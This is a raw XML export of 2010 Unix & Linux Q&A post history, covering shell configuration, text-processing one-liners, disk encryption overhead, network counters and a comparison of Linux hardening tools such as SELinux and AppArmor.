  <row Id="7304" PostHistoryTypeId="2" PostId="3435" RevisionGUID="892ee763-0015-4bf3-b940-898a60e34281" CreationDate="2010-10-23T11:20:02.537" UserId="481" Text="You can set your user's default shell using the `usermod` command with the `-s` option (requires root-privileges):&#xD;&#xA;&#xD;&#xA;    sudo usermod -s /home/lazer/bash/bash-4.1/bash lazer" />
  <row Id="7305" PostHistoryTypeId="2" PostId="3436" RevisionGUID="2b0c52a9-5f4d-4247-903d-23ebf1c4f1f9" CreationDate="2010-10-23T11:21:24.530" UserId="305" Text="AppArmour is usually though to be simpler then SELinux. SELinux in quite complex and may be used even in military applications while AppArmour tend to be simpler. SELinux operate on i-node level (i.e. restrictions are applied in the same way as ACL or unix permissions - on the other hand ) while AppArmour apply at path level (i.e. you specify the access based on path so when path changes it may not apply). AppArmour can also protect subproccesses (like mod_php only) but I am somehow sceptic about real use of it. AppArmour seems to find its way into mainline kernel (it is in -mm IIRC).&#xD;&#xA;&#xD;&#xA;I don't know much about SMACK but it looks like simplified SELinux from description. There is also RSBAC if you would like to look at it.&#xD;&#xA;&#xD;&#xA;chroot have limited scope of use and I don't think it would be much of use in desktop enviroment (it can be used to separate daemons from access of whole system - like DNS daemon).&#xD;&#xA;&#xD;&#xA;For sure it is worth to apply 'generic' hardening such as PaX, -fstack-protector etc. Chroot you can use when your distro supports so does AppArmour/SELinux. I guess SELinux is better suited for high secuirty areas (it has much better control over system) and AppArmour is better for simple hardening.&#xD;&#xA;&#xD;&#xA;In general I wouldn't bother to hardened much generic desktop (except switching off unused services, update regulary etc.) unless you work in highly security area. If you want to secure anyway I would use what your distro is supporting. Many of them to be effective needs the application support (for e.x. compiling tools to support attributes, written rules) so I would advice to use what your distro is supporting." />
  <row Id="7306" PostHistoryTypeId="5" PostId="3431" RevisionGUID="eaf2808a-dc27-4554-b7b1-20134b145995" CreationDate="2010-10-23T11:32:52.453" UserId="1339" Comment="form and tag" Text="I am planning to go back to Linux as a Desktop machine.&#xD;&#xA;I would like to make it more secure. And try a few hardening techniques, especially since I plan to get my own server.&#xD;&#xA;&#xD;&#xA;- What would be a good, sane hardening strategy? Which tools should I use - Apparmor, SELinux, SMACK, chroot? &#xD;&#xA;- Should I use just one tool, e.g. Apparmor, or a combination of the above?&#xD;&#xA;- Which advantages/disadvantages do these tools have? Are there any others?&#xD;&#xA;- Which do have a sane configuration to security (improvement) ratio?&#xD;&#xA;- Which one would I rather use in a Desktop environment? Which one in a server environment. &#xD;&#xA;&#xD;&#xA;So many questions. Thx for your help in advance. &#xD;&#xA;" />
  <row Id="7307" PostHistoryTypeId="6" PostId="3431" RevisionGUID="eaf2808a-dc27-4554-b7b1-20134b145995" CreationDate="2010-10-23T11:32:52.453" UserId="1339" Comment="form and tag" Text="ésecurityàéchrootàéselinuxàégrsecurityàéhardeningà" />
  <row Id="7308" PostHistoryTypeId="2" PostId="3437" RevisionGUID="bf46674c-8e48-437a-a2a7-b85b7c22b439" CreationDate="2010-10-23T12:08:46.883" UserId="2407" Text="What would be the Read-/Write-overhead when using dm-crypt (LUKS) as full disk-encryption (including root partition) on a Linux-Desktop (Ubuntu)?&#xD;&#xA;I plan to stack it like so: LUKS &gt; LVM &gt; ext4&#xD;&#xA;The CPU in use on the system would be a Core2 Duo 2.1 GHz with 4GB of RAM. &#xD;&#xA;&#xD;&#xA;- Would encryption of such a system create a great/noticeable overhead? &#xD;&#xA;- Are there any recent benchmarks to be found on the net? What is your personal experience?&#xD;&#xA;- Are there any settings I can make to improve performance?&#xD;&#xA;&#xD;&#xA;Thx for your help. &#xD;&#xA;" />
  <row Id="7309" PostHistoryTypeId="1" PostId="3437" RevisionGUID="bf46674c-8e48-437a-a2a7-b85b7c22b439" CreationDate="2010-10-23T12:08:46.883" UserId="2407" Text="I/O-overhead of dm-encrypted device?" />
  <row Id="7310" PostHistoryTypeId="3" PostId="3437" RevisionGUID="bf46674c-8e48-437a-a2a7-b85b7c22b439" CreationDate="2010-10-23T12:08:46.883" UserId="2407" Text="ésecurityàéfilesystemsàéencryptionà" />
  <row Id="7311" PostHistoryTypeId="2" PostId="3438" RevisionGUID="db2fe301-8cbd-4b15-8ce9-a1ae858468cb" CreationDate="2010-10-23T12:25:08.847" UserId="1945" Text="What kind of job opportunities are out there for people that have extensive experience with *NIX?" />
  <row Id="7312" PostHistoryTypeId="1" PostId="3438" RevisionGUID="db2fe301-8cbd-4b15-8ce9-a1ae858468cb" CreationDate="2010-10-23T12:25:08.847" UserId="1945" Text="what jobs are out there for NIX nerds?" />
  <row Id="7313" PostHistoryTypeId="3" PostId="3438" RevisionGUID="db2fe301-8cbd-4b15-8ce9-a1ae858468cb" CreationDate="2010-10-23T12:25:08.847" UserId="1945" Text="éunixà" />
  <row Id="7314" PostHistoryTypeId="6" PostId="3437" RevisionGUID="7a439787-2d56-4592-9a4f-83d2a749ffdf" CreationDate="2010-10-23T12:45:33.353" UserId="1339" Comment="tag..." Text="ésecurityàéfilesystemsàéperformanceàéencryptionà" />
  <row Id="7315" PostHistoryTypeId="2" PostId="3439" RevisionGUID="650d52a4-d3ef-42c3-991e-a79224207452" CreationDate="2010-10-23T12:53:30.887" UserId="1339" Text="What about a simple symlink?&#xD;&#xA;&#xD;&#xA;`ln -s /etc/profile /etc/zsh/zprofile`&#xD;&#xA;&#xD;&#xA;You can also append something like this if you need some conditional initialization:&#xD;&#xA;&#xD;&#xA;    #Determine our shell without using $SHELL, which may lie&#xD;&#xA;    shell=&quot;sh&quot;&#xD;&#xA;    if test -f /proc/mounts; then&#xD;&#xA;       case $(/bin/ls -l /proc/$$/exe) in&#xD;&#xA;            *bash) shell=bash ;;&#xD;&#xA;            *dash) shell=dash ;;&#xD;&#xA;            *ash)  shell=ash ;;&#xD;&#xA;            *ksh)  shell=ksh ;;&#xD;&#xA;            *zsh)  shell=zsh ;;&#xD;&#xA;        esac&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7316" PostHistoryTypeId="6" PostId="3409" RevisionGUID="45374737-aa8e-4f3b-9949-6bd52cbf978f" CreationDate="2010-10-23T12:55:36.890" UserId="1339" Comment="nothing linux specifiic, changed tag to documentation" Text="édocumentationà" />
  <row Id="7317" PostHistoryTypeId="2" PostId="3440" RevisionGUID="e9f324aa-ea40-4603-b7dd-68f944846a98" CreationDate="2010-10-23T15:00:49.463" UserId="2406" Text="OK, it's sysadmin, every sysadmin must have skilled in unix and there're thousands of developers work on unix :)" />
  <row Id="7318" PostHistoryTypeId="5" PostId="3440" RevisionGUID="1b19c4d5-acdb-4d33-8970-8faf8519fa19" CreationDate="2010-10-23T15:07:54.980" UserId="2406" Comment="added 56 characters in body" Text="OK, it's sysadmin, every sysadmin must have skilled in unix and there're thousands of developers work on unix :)&#xD;&#xA;You can find out at this page : http://jobs.linux.com/" />
  <row Id="7319" PostHistoryTypeId="2" PostId="3441" RevisionGUID="f9925d48-5f00-4ddb-b32f-95749d002fc7" CreationDate="2010-10-23T15:20:02.370" UserId="2411" Text="(Copied from [andoid stackexchange][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Many people install Linux-based distros on USB drives to use for, largely, basic PC troubleshooting. Has anyone tried installing such a thing on their Android phone's SD card? That way instead of carrying about both a USB drive and a phone, one could simply plug their phone in, boot the PC from USB, and set about performing whatever actions are necessary. Does anyone have any recommendations for particular flavors of Linux which are best suited to this task?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://android.stackexchange.com/questions/2351/optimal-linux-distro-to-install-to-sd-card-to-use-as-usb-bootloader-for-pc" />
  <row Id="7320" PostHistoryTypeId="1" PostId="3441" RevisionGUID="f9925d48-5f00-4ddb-b32f-95749d002fc7" CreationDate="2010-10-23T15:20:02.370" UserId="2411" Text="Optimal Linux Distro to Install to SD card to use as USB-Bootloader for PC?" />
  <row Id="7321" PostHistoryTypeId="3" PostId="3441" RevisionGUID="f9925d48-5f00-4ddb-b32f-95749d002fc7" CreationDate="2010-10-23T15:20:02.370" UserId="2411" Text="élinuxàéusbà" />
  <row Id="7322" PostHistoryTypeId="2" PostId="3442" RevisionGUID="525da0ec-5ac5-4b2c-8a17-82058c77e695" CreationDate="2010-10-23T15:36:13.053" UserId="1131" Text="There is no I/O-overhead involved in dm-crypt - just CPU overhead ... ;)&#xD;&#xA;&#xD;&#xA;On a Athlon 64 2.6 GHz dual core system for example I can copy from one dm-crypt disk to another with ~ 40 MB/sec (2.6.26 Kernel, Seagate 1.5 TB SATA disks).&#xD;&#xA;&#xD;&#xA;For performance make sure that the for your architecture optimized aes module is loaded, e.g.&#xD;&#xA;&#xD;&#xA;    $ lsmod | grep aes&#xD;&#xA;    aes_x86_64             12416  6 &#xD;&#xA;    aes_generic            32552  1 aes_x86_64&#xD;&#xA;&#xD;&#xA;And for data-safety keep in mind that dm-crypt does not support barriers (perhaps they fixed it eventually?). Thus, a power-loss or something like that may screw your FS.&#xD;&#xA;&#xD;&#xA;A workaround is to disable the write-caches of the underlying disks via hdparm, which of course really hurts performance.&#xD;&#xA;&#xD;&#xA;Btw, one can argue that it does not really makes sense to encrypt the root-partition.&#xD;&#xA;&#xD;&#xA;However, encrypting swap does make sense.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7323" PostHistoryTypeId="2" PostId="3443" RevisionGUID="7634b89e-922e-4ad7-9071-d1595048abe6" CreationDate="2010-10-23T15:42:05.387" UserId="1131" Text="Well, I guess if your Android phone is able to act as an USB stick to the PC then every distribution installable on a normal USB stick will do it.&#xD;&#xA;&#xD;&#xA;For troubleshooting stuff [GRML][1] is really great. They also have instructions how to install it on a USB stick (as a 'live-usb-stick').&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grml.org/" />
  <row Id="7324" PostHistoryTypeId="2" PostId="3444" RevisionGUID="339cf359-6169-4bc6-bf48-a25a8298f17d" CreationDate="2010-10-23T18:04:34.540" UserId="1941" Text="The jobs mainly fall into two categories: Programming and System Administration. In the programming field, Unix experience is not too often required as most software still is developed for windows, Mac or mainframes but there are some niches where Unix is strong. E.g. many network devices run embedded Linux today, the same goes for Phones where Android and Meego is often used today. In system administration, again, most jobs are for Windows, but there are plenty corporations running Unix servers in need of competent administrators." />
  <row Id="7325" PostHistoryTypeId="5" PostId="3436" RevisionGUID="84a5b811-8a22-4740-aca1-07e4af3e91e3" CreationDate="2010-10-23T18:08:15.237" UserId="1941" Comment="Fixed spelling" Text="AppArmour is usually thought to be simpler then SELinux. SELinux is quite complex and may be used even in military applications while AppArmour tends to be simpler. SELinux operates on i-node level (i.e. restrictions are applied in the same way as ACL or unix permissions - on the other hand ) while AppArmour apply at path level (i.e. you specify the access based on path so when path changes it may not apply). AppArmour can also protect subproccesses (like mod_php only) but I am somehow sceptic about real use of it. AppArmour seems to find its way into mainline kernel (it is in -mm IIRC).&#xD;&#xA;&#xD;&#xA;I don't know much about SMACK but it looks like simplified SELinux from description. There is also RSBAC if you would like to look at it.&#xD;&#xA;&#xD;&#xA;chroot have limited scope of use and I don't think it would be much of use in desktop enviroment (it can be used to separate daemons from access of whole system - like DNS daemon).&#xD;&#xA;&#xD;&#xA;For sure it is worth to apply 'generic' hardening such as PaX, -fstack-protector etc. Chroot you can use when your distro supports so does AppArmour/SELinux. I guess SELinux is better suited for high security areas (it has much better control over system) and AppArmour is better for simple hardening.&#xD;&#xA;&#xD;&#xA;In general I wouldn't bother to hardened much generic desktop (except switching off unused services, update regulary etc.) unless you work in highly security area. If you want to secure anyway I would use what your distro is supporting. Many of them to be effective needs the application support (for e.x. compiling tools to support attributes, written rules) so I would advice to use what your distro is supporting." />
  <row Id="7326" PostHistoryTypeId="2" PostId="3445" RevisionGUID="f44ece15-1cc0-4793-8b3a-cc2f344fc656" CreationDate="2010-10-23T18:24:42.073" UserId="1941" Text="I'd create a file /etc/commonprofile and source it in both /etc/profile and /etc/zsh/zprofile. This gives you the opportunity to share common settings and still use bash respectively zsh specific settings and syntax in /etc/profile respectively zprofile." />
  <row Id="7327" PostHistoryTypeId="2" PostId="3446" RevisionGUID="41addfcd-521d-4b81-bde5-dd039525db26" CreationDate="2010-10-23T19:22:25.390" UserId="1797" Text="When doing ifconfig from hour to hour I notice that the counters for RX/TX bytes transfers resets:&#xD;&#xA;&#xD;&#xA;RX bytes:921640934 (921.6 MB)  TX bytes:4001470884 (4.0 GB)&#xD;&#xA;&#xD;&#xA;How come? I would like to keep track how much data i transfer from day to day but they keep resetting." />
  <row Id="7328" PostHistoryTypeId="1" PostId="3446" RevisionGUID="41addfcd-521d-4b81-bde5-dd039525db26" CreationDate="2010-10-23T19:22:25.390" UserId="1797" Text="Shomehow the rx/tx-counters on the interface resets" />
  <row Id="7329" PostHistoryTypeId="3" PostId="3446" RevisionGUID="41addfcd-521d-4b81-bde5-dd039525db26" CreationDate="2010-10-23T19:22:25.390" UserId="1797" Text="éfileötransferà" />
  <row Id="7330" PostHistoryTypeId="2" PostId="3447" RevisionGUID="9fd75ebf-5949-46dd-b7d3-153e15ee3452" CreationDate="2010-10-23T20:26:35.593" UserId="273" Text="I think that rather than choose one particular distribution you should try out lots of them in a relatively short time; say change every couple of months or so.&#xD;&#xA;&#xD;&#xA;This has two main benefits; you get to see different ways of doing things (eg compare Ubuntu with other distros, is using sudo rather than su really much of a benefit?) and the chances are you will get experience in sorting out rather more problems (and so learn more) than just installing one Linuxy operating system.&#xD;&#xA;&#xD;&#xA;I'm not sure how much this will actually help: I've used several Linux distributions and am fortunate not to have had any real problems. Therefore I would suggest that you answer questions on this site (and others, such as [superuser.com](http://superuser.com). I believe that there are also other sites on the internet which are not operated by the Stack Exchange team where one can answer problems posted by users).&#xD;&#xA;&#xD;&#xA;I realise that you know very little at the moment, but by doing some research and answering questions you will learn quite quickly. Perhaps keep a few virtual machines handy in which to try stuff." />
  <row Id="7331" PostHistoryTypeId="2" PostId="3448" RevisionGUID="f6e30eb4-e232-4221-a6e1-cc8c81282966" CreationDate="2010-10-23T20:30:44.710" UserId="1660" Text="Seems like counters are 32bit integers so they &quot;wrap around&quot; at ~4GB." />
  <row Id="7332" PostHistoryTypeId="2" PostId="3449" RevisionGUID="71d94979-aeeb-4524-a9a8-951e1120fcb2" CreationDate="2010-10-23T21:11:48.947" UserId="885" Text="Zsh has an sh compatibility mode which will let it execute POSIX sh code and some bash extensions. As long as you don't use bash features that zsh doesn't have (with the same syntax), you can have the same file sourced by both shells. Use the `emulate` built-in to put zsh in compatibility mode; with the `-L` option, the emulation is local to the enclosing function (not the enclosing sourced script).&#xD;&#xA;&#xD;&#xA;    source_sh () {&#xD;&#xA;      emulate -LR sh&#xD;&#xA;      . &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For things like environment variables, you can use `source_sh /etc/profile` in `/etc/zprofile` and `source_sh ~/.profile` in `~/.zprofile`, since the profile files aren't likely to use bash-specific features.&#xD;&#xA;&#xD;&#xA;For things like aliases and function definitions, since the shell rc files are likely to contain a lot of things that can't be shared (prompt, key bindings, completion settings, …), use a file like `~/.sh_aliases` that is sourced in `~/.bashrc` and `source_sh`'d in `~/.zshrc`.&#xD;&#xA;" />
  <row Id="7333" PostHistoryTypeId="2" PostId="3450" RevisionGUID="774b51ab-a768-4076-a5ba-e52a2abf445e" CreationDate="2010-10-23T21:39:52.547" UserId="885" Text="First of all, make sure your favorite bash is in `$PATH` before the system one. Also set the environment variable `SHELL` to the full path to your favorite interactive shell (presumably your own installed version of bash).&#xD;&#xA;&#xD;&#xA;You can't set your own shell as login shell without root's intervention, but usually you don't need anything better than POSIX sh in `~/.profile` anyway. You can put `exec $SHELL` at the end of `~/.profile` so that you get your favorite interactive shell in console or ssh sessions, but make sure that you don't do it from shells that are not interactive (for example, some Linux distributions have X session scripts that start with `#!/bin/bash --login`).&#xD;&#xA;&#xD;&#xA;If you're not root, that's about all you can do. In particular, scripts headed `#!/bin/bash` will keep on using the system bash, while scripts headed `#!/usr/bin/env bash` will use yours.&#xD;&#xA;&#xD;&#xA;If you are root, you can add your bash installation to `/etc/shells`, after which you can use `chsh` to change your login shell to it. You can also replace `/bin/bash` by your own version, but I wouldn't recommend this for such a critical system component. If you really want to replace `/bin/bash`, at least keep your package manager happy; on a dpkg-based system, you can use `dpkg-divert`.&#xD;&#xA;" />
  <row Id="7334" PostHistoryTypeId="2" PostId="3451" RevisionGUID="b6428024-9a68-428e-a075-f511d5fb7b31" CreationDate="2010-10-23T21:47:34.573" UserId="1779" Text="As msw says, it appears that your application wants to use the OpenWindows and Xview libraries that were provided in older Sun systems.&#xD;&#xA;&#xD;&#xA;I believe they're not even around on newer Solaris installs anymore, but the free software projects [OpenWindows Augmented Compatibility Environment](http://freshmeat.net/projects/OWacomp) and [The XView Toolkit](http://freshmeat.net/projects/xview) may provide compatible-enough implementations of these libraries on newer systems." />
  <row Id="7335" PostHistoryTypeId="2" PostId="3452" RevisionGUID="a7ada6de-dddd-4668-93f5-5422d355bd87" CreationDate="2010-10-23T21:49:24.457" UserId="885" Text="I don't think changing root's shell would cause any trouble. I seem to remember some unices (maybe some BSD variants?) having tcsh as the default shell for root.&#xD;&#xA;&#xD;&#xA;Root logins are rare anyway. Normally, you'd log into your own account and then su or sudo to root.&#xD;&#xA;&#xD;&#xA;What matters is that root's shell should have as few dependencies as possible so as to be usable in a system reparation context. For example, it's a good idea to have a statically linked root shell; some distributions ship a statically linked version of bash or zsh or [sash](http://members.tip.net.au/~dbell/) (a shell with many standard utilities built-in). However this isn't so important if your system can easily be booted from a rescue CD or USB drive.&#xD;&#xA;" />
  <row Id="7336" PostHistoryTypeId="2" PostId="3453" RevisionGUID="e32ccc49-0e65-47f4-ae91-11ea1f507453" CreationDate="2010-10-23T22:02:12.370" UserId="1207" Text="I believe that MrShunz's answer is correct.  However, not all hope is lost.  If you are interested in keeping statistics on how much you transfer each day, you might consider [vnstat][1].  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://humdi.net/vnstat/" />
  <row Id="7337" PostHistoryTypeId="2" PostId="3454" RevisionGUID="17b7461f-0b41-42c5-9314-1a01511ffbfe" CreationDate="2010-10-23T23:07:54.997" UserId="29" Text="If I have really long output from a command (single line) but I know I only want the first [x] (let's say 8) characters of the output, what's the easiest way to get that? There aren't any delimiters." />
  <row Id="7338" PostHistoryTypeId="1" PostId="3454" RevisionGUID="17b7461f-0b41-42c5-9314-1a01511ffbfe" CreationDate="2010-10-23T23:07:54.997" UserId="29" Text="Grabbing the first [x] characters for a string from a pipe." />
  <row Id="7339" PostHistoryTypeId="3" PostId="3454" RevisionGUID="17b7461f-0b41-42c5-9314-1a01511ffbfe" CreationDate="2010-10-23T23:07:54.997" UserId="29" Text="écommandölineàéshellà" />
  <row Id="7340" PostHistoryTypeId="2" PostId="3455" RevisionGUID="fa911251-f02f-431f-a7c5-ea7d4924ba67" CreationDate="2010-10-23T23:20:53.820" UserId="1207" Text="One way is to use `cut`:&#xD;&#xA;&#xD;&#xA;     command | cut -c1-8&#xD;&#xA;&#xD;&#xA;This will give you the first 8 characters of each line of output.  Since `cut` is part of POSIX, it is likely to be on most Unices." />
  <row Id="7341" PostHistoryTypeId="2" PostId="3456" RevisionGUID="c712d89c-8dff-4c0d-8f6b-90cb1854d704" CreationDate="2010-10-23T23:25:30.173" UserId="29" Text="The login shell of a user does not affect the boot process. You can set this shell to whatever you want. Not all systems have bash and they work fine. Also if it's `/usr/bin/zsh` it was installed wrong, all system shells should be in `/bin`. You shouldn't, however, change `/bin/sh` to point to something other than the default (unless you know what you are doing) as many scripts have `#!/bin/sh` which usually points to bash, when they should have `#!/bin/bash` because they use bashisms and other behavior that won't work on `zsh` or `dash`." />
  <row Id="7342" PostHistoryTypeId="2" PostId="3457" RevisionGUID="281102fd-1d85-4074-9961-e1f3c979e938" CreationDate="2010-10-24T03:24:10.933" UserId="29" Text="I have a long list of domain names that I need to remove from /etc/remotedomains. They're probably not in any particular order in the file. Each domain is on one line.&#xD;&#xA;&#xD;&#xA;How could I iterate through the list and find that line in remote domains and remove it.&#xD;&#xA;" />
  <row Id="7343" PostHistoryTypeId="1" PostId="3457" RevisionGUID="281102fd-1d85-4074-9961-e1f3c979e938" CreationDate="2010-10-24T03:24:10.933" UserId="29" Text="How do I take a list a remove it from a file" />
  <row Id="7344" PostHistoryTypeId="3" PostId="3457" RevisionGUID="281102fd-1d85-4074-9961-e1f3c979e938" CreationDate="2010-10-24T03:24:10.933" UserId="29" Text="écommandölineàéshellàétextöprocessingà" />
  <row Id="7345" PostHistoryTypeId="6" PostId="3454" RevisionGUID="7c36ab44-9081-4018-8b4c-e6776c336f27" CreationDate="2010-10-24T03:24:53.893" UserId="29" Comment="add text-processing tag" Text="écommandölineàéshellàétextöprocessingà" />
  <row Id="7346" PostHistoryTypeId="2" PostId="3458" RevisionGUID="ebc72ca3-fd5d-4196-a322-2acea91cd11f" CreationDate="2010-10-24T03:29:37.893" UserId="481" Text="    grep -Ff list -v /etc/remotedomains &gt; remotedomains.new&#xD;&#xA;    mv remotedomains.new /etc/remotedomains&#xD;&#xA;&#xD;&#xA;The `-v` tells grep to only output lines that don't match the pattern.&#xD;&#xA;&#xD;&#xA;The `-f list` tells grep to read the patterns from the file `list`.&#xD;&#xA;&#xD;&#xA;The `-F` tells grep to use exact matches. I.e. if there's a pattern `foo` that should only remove the line `foo`, not the line `foobar` or `barfoo`." />
  <row Id="7347" PostHistoryTypeId="2" PostId="3459" RevisionGUID="e779649b-eeb1-42c9-b47f-bb427734764e" CreationDate="2010-10-24T03:30:06.387" UserId="29" Text="    awk '/user/ {print $1 }' /etc/userdomains | sed 's/://'&#xD;&#xA;&#xD;&#xA;the format of /etc/userdomains is&#xD;&#xA;&#xD;&#xA;    domain.tld: user&#xD;&#xA;    otherdomain.tld: otheruser" />
  <row Id="7348" PostHistoryTypeId="1" PostId="3459" RevisionGUID="e779649b-eeb1-42c9-b47f-bb427734764e" CreationDate="2010-10-24T03:30:06.387" UserId="29" Text="How could I remove sed from this command?" />
  <row Id="7349" PostHistoryTypeId="3" PostId="3459" RevisionGUID="e779649b-eeb1-42c9-b47f-bb427734764e" CreationDate="2010-10-24T03:30:06.387" UserId="29" Text="écommandölineàéshellàétextöprocessingà" />
  <row Id="7350" PostHistoryTypeId="2" PostId="3460" RevisionGUID="380f6d3f-3c84-46ef-85a5-065b6e03d323" CreationDate="2010-10-24T03:42:14.477" UserId="481" Text="You can use `gsub` in `awk` to remove all `:`s in the string.&#xD;&#xA;&#xD;&#xA;    awk '/(user)/ {gsub(&quot;:&quot;, &quot;&quot;); print $1}' /etc/userdomains" />
  <row Id="7351" PostHistoryTypeId="2" PostId="3461" RevisionGUID="b16af347-7f76-4e0d-9c96-da61e967d351" CreationDate="2010-10-24T03:42:32.317" UserId="73" Text="`awk` has a `sub(regexp, replacement, target)` function that finds the first occurrence of `regexp` in `target` (`$0` by default) and replaces it with `replacement` (in-place):&#xD;&#xA;&#xD;&#xA;    awk '/user/ {sub(/:/, &quot;&quot;); print $1}' /etc/userdomains" />
  <row Id="7352" PostHistoryTypeId="2" PostId="3462" RevisionGUID="9fd45037-44b1-463d-a561-c6f7362a75bd" CreationDate="2010-10-24T04:11:21.393" UserId="1071" Text="You could use `tr` instead of sed:&#xD;&#xA;&#xD;&#xA;`awk '/user/ {print $1 }' /etc/userdomains | tr -d &quot;:&quot;`&#xD;&#xA;&#xD;&#xA;Though I don't see how that's better than just using awk (nor do I see what's wrong with sed)." />
  <row Id="7353" PostHistoryTypeId="2" PostId="3463" RevisionGUID="b3305821-f1e0-4357-9821-fe03a6d9ca24" CreationDate="2010-10-24T04:20:43.537" UserId="1606" Text="The easiest way is to set the field separator to &quot;:&quot;&#xD;&#xA;&#xD;&#xA;    awk -F&quot;:&quot; '$2~/user/{print $1}' /etc/userdomains" />
  <row Id="7354" PostHistoryTypeId="5" PostId="3463" RevisionGUID="ed88e9e5-559b-46e6-9c27-7ce38f96aa9b" CreationDate="2010-10-24T04:26:14.473" UserId="1606" Comment="added 126 characters in body" Text="The easiest way is to set the field separator to &quot;:&quot;&#xD;&#xA;&#xD;&#xA;    awk -F&quot;:&quot; '$2~/user/{print $1}' /etc/userdomains&#xD;&#xA;&#xD;&#xA;    And if you want to check for exact username, &#xD;&#xA;    &#xD;&#xA;    awk -F&quot;[ \t]*:[ \t]*&quot; '$2==&quot;user&quot;{print $1}' /etc/userdomains" />
  <row Id="7355" PostHistoryTypeId="2" PostId="3464" RevisionGUID="10c9495c-6983-44c1-8942-572439c0cd9a" CreationDate="2010-10-24T04:34:28.433" UserId="1606" Text="These are some other ways  to get only first 8 characters. &#xD;&#xA;&#xD;&#xA;    command | head -c8&#xD;&#xA;    &#xD;&#xA;    command | awk '{print substr($0,1,8);exit}' &#xD;&#xA;&#xD;&#xA;    command | sed 's/^\(........\).*/\1/;q'&#xD;&#xA;&#xD;&#xA;And if you have bash&#xD;&#xA;&#xD;&#xA;    var=$(command)&#xD;&#xA;    echo ${var:0:8}" />
  <row Id="7356" PostHistoryTypeId="2" PostId="3465" RevisionGUID="0f373276-dd46-40db-93b1-9d37ac8fa114" CreationDate="2010-10-24T04:38:53.050" UserId="1606" Text="besides `tr`, some other methods you can use&#xD;&#xA;&#xD;&#xA;awk&#xD;&#xA;&#xD;&#xA;    awk '1' ORS= file&#xD;&#xA;&#xD;&#xA;shell&#xD;&#xA;&#xD;&#xA;    while read -r line; do printf &quot;%s &quot; &quot;$line&quot;; done &lt;file&#xD;&#xA;&#xD;&#xA;sed&#xD;&#xA;&#xD;&#xA;    sed -e ':a' -e 'N;s/\n/ /;ba' file" />
  <row Id="7357" PostHistoryTypeId="2" PostId="3466" RevisionGUID="1f99c1ce-bfa3-41d0-8036-7d97277ed417" CreationDate="2010-10-24T04:47:14.453" UserId="912" Text="Currently my bash prompt looks like this&#xD;&#xA;&#xD;&#xA;    $ echo $PS1&#xD;&#xA;    # \[\e[34m\][\t]\[\e[0m\] \[\e]0;\w\a\]\[\e[34m\]\u@\h: \[\e[34m\]\w\[\e[0m\]\n$&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;The problem is that `\t` will only display the time when the prompt was rendered (which would be very close to the time of completion of the last command).&#xD;&#xA;&#xD;&#xA;For me, it would be more useful to display the time at which the current command process was started. Is there a way to do this?" />
  <row Id="7358" PostHistoryTypeId="1" PostId="3466" RevisionGUID="1f99c1ce-bfa3-41d0-8036-7d97277ed417" CreationDate="2010-10-24T04:47:14.453" UserId="912" Text="How can I display the time when a command was executed in my bash prompt?" />
  <row Id="7359" PostHistoryTypeId="3" PostId="3466" RevisionGUID="1f99c1ce-bfa3-41d0-8036-7d97277ed417" CreationDate="2010-10-24T04:47:14.453" UserId="912" Text="éshellàébashàépromptà" />
  <row Id="7360" PostHistoryTypeId="4" PostId="3459" RevisionGUID="b0b55cec-ebf0-4897-a82b-0daf1ed41d7b" CreationDate="2010-10-24T04:48:38.377" UserId="29" Comment="change title to be more what I'm actually trying to do." Text="How could I simply this command to only use awk?" />
  <row Id="7361" PostHistoryTypeId="2" PostId="3467" RevisionGUID="d2eb62b6-7eb9-4eed-8e78-8fae17ba2eb1" CreationDate="2010-10-24T04:49:35.353" UserId="912" Text="Is it &quot;resource configuration&quot;, by any chance?" />
  <row Id="7362" PostHistoryTypeId="1" PostId="3467" RevisionGUID="d2eb62b6-7eb9-4eed-8e78-8fae17ba2eb1" CreationDate="2010-10-24T04:49:35.353" UserId="912" Text="What does &quot;rc&quot; in bashrc stand for?" />
  <row Id="7363" PostHistoryTypeId="3" PostId="3467" RevisionGUID="d2eb62b6-7eb9-4eed-8e78-8fae17ba2eb1" CreationDate="2010-10-24T04:49:35.353" UserId="912" Text="élinuxàébashàéunixàércà" />
  <row Id="7364" PostHistoryTypeId="2" PostId="3468" RevisionGUID="de178063-bc0c-4fb9-b9d6-db77ac8340c8" CreationDate="2010-10-24T05:02:23.570" UserId="29" Text="I use webmail,specifically gmail. How do I make it so that when I click a mailto: link it opens gmail, in a browser (chromium) with the email address, in KDE?&#xD;&#xA;&#xD;&#xA;*bonus points for listing other browsers and other popular webmails*" />
  <row Id="7365" PostHistoryTypeId="1" PostId="3468" RevisionGUID="de178063-bc0c-4fb9-b9d6-db77ac8340c8" CreationDate="2010-10-24T05:02:23.570" UserId="29" Text="How do I make KDE open mail links to a webmail client in a browser?" />
  <row Id="7366" PostHistoryTypeId="3" PostId="3468" RevisionGUID="de178063-bc0c-4fb9-b9d6-db77ac8340c8" CreationDate="2010-10-24T05:02:23.570" UserId="29" Text="ékdeàébrowserà" />
  <row Id="7367" PostHistoryTypeId="2" PostId="3469" RevisionGUID="59fda15b-0d65-479b-86a9-7c13e1b6fde9" CreationDate="2010-10-24T05:02:25.177" UserId="1207" Text="As is often the case with obscure terms, the [Jargon File][1] has an answer:&#xD;&#xA;&#xD;&#xA;&gt; [Unix: from runcom files on the CTSS system 1962-63, via the startup script /etc/rc] Script file containing startup instructions for an application program (or an entire operating system), usually a text file containing commands of the sort that might have been invoked manually once the system was running but are to be executed automatically each time the system starts up.&#xD;&#xA;&#xD;&#xA;Thus, it would seem that the &quot;rc&quot; part stands for &quot;runcom&quot;, which I believe can be expanded to &quot;run commands&quot;.  In fact, this is exactly what the file contains, commands that bash should run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/jargon/html/R/rc-file.html" />
  <row Id="7368" PostHistoryTypeId="6" PostId="3468" RevisionGUID="b91d5800-e8ad-413e-816d-1482ba37eb74" CreationDate="2010-10-24T05:07:56.793" UserId="29" Comment="add tags" Text="ékdeàébrowseràéuserödefaultà" />
